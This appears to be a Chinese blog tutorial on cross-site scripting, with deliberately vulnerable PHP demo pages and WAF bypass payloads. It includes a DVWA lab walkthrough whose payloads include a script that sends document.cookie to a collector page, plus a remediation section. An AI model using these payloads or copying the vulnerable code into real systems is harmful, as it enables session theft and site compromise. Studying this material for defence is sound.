XSS
Posted caijiqhx
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS相关的知识,希望对你有一定的参考价值。
XSS
参考网址
XSS原理
测试代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>' . $xss;
?>
</body>
</html>
输入框输入的值会被输出,所以我们就输入script标签,就可以实现XSS。测试可以用firefox,chrome有XSS Auditor,以后可以学一下怎么绕过。
当然XSS不都是这么简单,需要利用输出环境来构造代码。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if (isset($xss))
echo '<input type="text" value="' . $xss . '">';
else
echo '<input type="type" value="输出">';
?>
</center>
</body>
</html>
输入的字符串输出到另一个字符串,对于这段代码,我们可以输入">
来闭合前面的input标签,从而执行后面的js。而原来用来闭合的">
会作为多余的字符串输出,看着不美观。我们就可以通过其他方法执行,比如标签的属性。使用on事件进行xss," onmousemove="alert(‘xss‘)
。
总之,XSS就是想尽办法在页面上执行js。
分类
0x01 反射型XSS
Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS——编码、缩短——发送给受害人——受害人打开,执行XSS——实现功能(获取cookie、url、浏览器信息、IP等)
可以通过软件挖XSS,手工的话就针对对话框、数据包、url参数、js分析等方面。
0x02 存储型XSS
存储型XSS把数据保存到服务端,而反射型只是让XSS游走在客户端上。
此类XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者卢兰包含此恶意代码的页面就会执行恶意代码。一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或服务端的数据库中。
0x03 DOM XSS
DOM-Based XSS基于DOM文档对象模型的,它不需要与服务端进行交互,像反射、存储都需要服务端的反馈来构造XSS,因为服务端对我们是不可见的,就像一般都是抢客户不是抢银行,当然你要是抢银行那你是真的。
客户端js可以访问浏览器的DOM,因此能够决定用于加载当前页面的URL,也就是js可以通过DOM动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得DOM的数据(如从URL中提取数据)并在本地执行。另一方面,浏览器用户可以操纵DOM中的一些对象,例如URL、Location等。用户在客户端输入的数据如果包含了恶意js,未经过过滤的话就会有DOM XSS。
<html>
<head>
<title>DOM-XSS test</title>
</head>
<body>
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
</body>
</html>
这段代码会截取输入的URL的a=
后的子串,输出到页面上,当我们输入js代码时就会触发DOM XSS。
An easy sample
修改URL参数的时候,看到的只是GET传输的数据,POST表单的数据是在数据包里。
php获取IP一般就三个函数:HTTP_CLIENT_IP
、HTTP_X_FORWARDED_FOR
、REMOTE_ADDR
,前两个都是可以伪造的,可以修改数据包。
测试网站www.ip138.com
,它可以获取客户端IP。
在burp里抓包,添加一行X-Forwarded-For
,后面的字段就是IP地址,随便输入一个,再放过,就看到网页上显示了伪造的IP。将IP替换为js,就实现了XSS:
Amazing! 真有意思
技巧篇
0x01 第三方劫持(外调J/C)
“第三方劫持”就是把资源域的服务器的权限拿下,替换相关资源,采用“迂回式”的渗透方式。
for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++)
var a = document.createElement('a');
a.href = tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname)
console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);
这段代码可以获取非本站的J/C,之后就可以对目标进行渗透,重写J/C。
0x02 XSS Downloader
就是把反射和存储结合起来,把核心代码写在网站上,然后以XSS触发并调用代码实现攻击。
<!--Ajax.html-->
<html>
<head>
<title>ajax</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest)
xmlhttp = new XMLHttpRequest();
else
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange = function()
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
request_text = xmlhttp.responseText;
var a = request_text.indexOf("fortst") + 6;
var b = request_text.indexOf("tstrof");
eval(request_text.substring(a, b));
xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>
</html>
这段代码会获取ajax.txt中指定位置的子串,然后以eval的形式运行。
假设网站的留言板存在反射XSS,可以构造on事件,运行
eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('fortst')+6,document.boby.innerHTML.indexOf('tstrof')));
这样就可以执行留言内容中的js,当然可以用正则匹配。
<html>
<head>
<title>ajax+正则匹配</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest)
xmlhttp = new XMLHttpRequest();
else
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange = function()
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
request_text = xmlhttp.responseText;
var text = request_text.match(/fortst(.*)tstrof/i);
eval(text[1]);
xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>
</html>
编码与绕过
0x01 URL编码
URL只允许使用US-ASCII字符集中可打印的字符(0x20-0x7E),其中某些字符在HTTP协议里有特殊的意义,所以有些也不能使用。这里需要注意的,+
加号代表URL编码的空格,%20
也是。
URL编码最常见的是在用GET/POST传输时,将字符转为十六进制。
0x02 unicode编码
Unicode有1114112个码位,也就是说可以分配这些个字符,编码的字符已%u
为前缀,后面是这个字符的十六进制的码点。有的站点过滤了某些字符串,但是发现这个站点在后端验证字符的时候,识别unicode编码,就可以用unicode绕过过滤机制。
0x03 HTML编码
HTML编码的存在就是让它在代码中和显示中分开,避免错误。它的命名实体:构造是&
加上希腊字母,字符编码:构造是&#
加十进制、十六进制ASCII码或unicode编码,而且浏览器解析的时候会先把HTML编码解析然后进行渲染。但有个前提就是必须要在值里。
0x04 CSS编码
不常用,就是/
斜杠加上1-6位十六进制,大多是用于CSS小图标。
0x05 常见的绕过方式
<sCrIpt>alert(1)</script>是突然
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>ript>alalertert</scr</script>ript> (需要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
标签属性=”javascript:js_code" 只对支持js伪协议的属性起作用
<标签 on事件=“js_code">
<script
woaini>
alert(123)
</script
woaini>
浏览器会把换行或TAB符当成空格,把后面的字符当作属性来解析
0x06 插件安全
插件渲染到页面的过程:
用户打开网站—发送数据包—服务器响应并发送Response包—浏览器受到Response包—渲染(先渲染Response包,再渲染插件的代码)
也就是在插件中写了一段js,那么用户安装后,凡打开网站,浏览器渲染后,就可以获取用户的cookie,如果攻击者事先有准备,还可以利用csrf攻击。
- 假设1:攻击者把XSS代码封装到插件里,上传到浏览器插件下载网址(管理不严),上传成功后。用户下载安装。GG
- 假设2:攻击者拥有dedecms的scrf(可以添加管理员),当网站管理员安装或使用带有插件的浏览器,网站就GG。
- 假设3:攻击者拥有某个浏览器插件的XSC漏洞,再结合插件安全问题,就可以实现用户打开某个网站,就会被不知不觉中安装插件。通过插件可以实现隐蔽式的攻击。
黑客发现插件调取的API网站安全漏洞—重写了发送的数据包—插件获取被重写API数据—解析
如何绕过WAF:
0x01 直视WAF
一些简单的绕过方法
- 大小写转换法:
SQL: sEleCt vERsIoN();
XSS: <sCrIpt>alert(1)</scRiPt>
- 干扰字符污染法:
空字符、空格、TAB、换行、注释、特殊的函数,利用网站使用的语言函数特性绕过waf的规则或使用会无视的字符。
- 字符编码法:
对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascii、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等。
利用浏览器上的进制转换或语言编码规则来绕过waf。
- 拼凑法:
如果过滤了某些字符串,可以在构造:
SQL: selselectect verversionsion();
XSS: <scr<script>ript>alalertert</scr</script>ipt>
利用waf的不完整性,只验证一次字符串或过滤的字符串并不完整。
0x02 Webkit
webkit下的解析器——词法分析器,绕过的时候它来完成。
<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> <!--这个可以弹窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe> <!--这个不可以弹窗-->
回车、换行只在属性中引号里才会起作用。
0x03 从HTTP数据包说起
- 有一部分网站waf是部署在客户端上的,利用burp、fiddler就可以轻松绕过。
- 有的网站对百度、google等爬虫请求并不过滤,这时我们就可以再USER-Agent伪造自己是搜索引擎的爬虫,绕过waf。
- 有的网站使用$_REQUEST接收get post cookie参数,这时如果waf只对get post参数过滤了,那么就可以在数据包里对cookie进行构造攻击代码,来实现绕过waf。
- 有的waf对get post cookie都过滤了,还可以进行绕过。假设网站会显示你的IP或者你使用的浏览器,那么你就可以对IP、user-agent进行构造,在php中X-Forwarded-For和HTTP-Client-IP两个获取IP的函数都可以被修改,前面已经进行了对
www.ip138.com
的xss。
0x04 WAF算个锤子
前面也说过,可以利用第三方插件进行攻击,因为它的权限高,可以跨域。
DVWA XSS
Reflected
Low
输入的内容会显示在下面Hello后面,输入<script>alert(/xss/)</script>
,弹窗成功。
<!--payload-->
<script>document.location='http://127.0.0.1/get_cookie.php?cookie='+document.cookie;</script>
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie)
?>
Medium
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello $name</pre>";
一次过滤可以大小写或双写绕过。
High
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello $name</pre>";
script被全面封杀,可以用img标签
<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello $name</pre>";
// Generate Anti-CSRF token
generateSessionToken();
htmlspecialchars
函数将代码转为HTML编码格式,是真的nb。
不过当在script、input标签中时,即可突破。
<!--payload-->
' oninput=alert(/xss/) '
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<input type='text' value=' $name'>";
Stored
Low
要求输入name和message,输入的值会输出到下面,name有长度限制,在message中直接<script>alert(/xss/)</script>
,sign,成功。可以用burp改包突破长度限制。
Medium
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
message过滤得很nb,用burp改name就行了。
High
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )
message还是上面的,name这里封杀了script,用img
<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible
message和name都是过滤,没办法。
DOM
Low
没有进行任何过滤,直接?default=<script>alert(/xss/)</script>
就行。
Medium
if (stripos ($default, "<script") !== false)
header ("location: ?default=English");
用img标签,输入<img src=‘x‘ onerror=alert(/xss/)>
得到
<option value="%3Cimg%20src=1%20onerror=alert%28%27hack%27%29%3E"></option>
发现填入了属性,那就先闭合option标签,然后再闭合前面的select标签,
<!--payload-->
"></option></select><img src='x' onerror=alert(/xss/) >
High
php用的是白名单,网上带哥说是可以用#截断,后面的内容不会被提交到服务器,可以直接与浏览器交互。
<!--payload-->
English#<script>alert(/xss/)</script>
XSS 漏洞修复
XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理,修复XSS漏洞就在于如何更好的将用户提交的数据进行安全过滤。
HTML实体
在HTML中有些字符像<
,对HTML有特殊意义,要显示这些字符,必须使用实体字符。
HTML实体的存在是导致XSS漏洞的主要原因之一。
因此需要将这些实体全部转换为相应的实体编号。
显示 | 实体名称 |
---|---|
‘ ‘ |
|
< |
< |
> |
> |
| &
| &
|
| "
| "
|
| ‘
| '
|
HTML Encode
用户将数据提交上来的时候进行HTML解码,将相应的符号转换为实体名称再进行下一步的处理。
在PHP中已经存在这样子功能的函数,即htmlentities($str)
函数。
与之相反的就是html_entity_decode($str)
函数,它将实体名称转换为相应的符号。
修复漏洞方针
过滤过滤过滤!
- 将重要的cookie标记为http only,这样js中的
document.cookie
语句就不能获取到cookie。 - 表单数据规定值的类型,例如name只能为字母数字组合。。。
- 对数据进行HTML Encode处理
- 过滤或移除特殊的HTML标签,例如
<script>,<iframe>,$lt; for <, $gt; for >,$quot for "
。 - 过滤js事件的标签,例如
onclick=, onfocus=
等等。
PHP中的相应函数
funtions | 功能 |
---|---|
strip_tags(\(str, [允许标签]) | 从字符串中去除 HTML 和 PHP 标记 | | htmlentities(\)str) | 转义html实体 |
html_entity_decode(\(str) | 反转义html实体 | | addcslashes(\)str, ‘字符’) | 给某些字符加上反斜杠 |
stripcslashes(\(str) | 去掉反斜杠 | | addslashes (\)str ) | 单引号、双引号、反斜线与 NULL加反斜杠 |
stripslashes($str) | 去掉反斜杠 |
htmlspecialchars() | 特殊字符转换为HTML实体 |
htmlspecialchars_decode() | 将特殊的 HTML 实体转换回普通字符 |
做了一下闯关小游戏,大多数xss的原理还是比较简单的。
XSS之同源策略与跨域访问
同源策略
在这个策略下,web浏览器允许第一个页面的脚本访问第二个页面的数据,但是也只有在两个页面有相同的源时。源是由URI、主机名、端口号组成的。这个策略可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限。
源决定规则
对于绝对的URIs,源就是协议、主机、端口定义的,只有这些值完全一样才认为两个资源是同源的。
不受同源策略限制的:
- 页面中的链接、重定向以及表单提交是不会受到同源策略限制的。
- 跨域资源的引入是可以的,但是js不能读写加载的内容。如嵌入到页面的
<script src="...">, <img>, <link>, <iframe>
等。
跨域访问
浏览器从一个域名的网页请求另一个域名的资源时,域名、端口、协议任一不同,都是跨域。
如何解决跨域问题
以上是关于XSS的主要内容,如果未能解决你的问题,请参考以下文章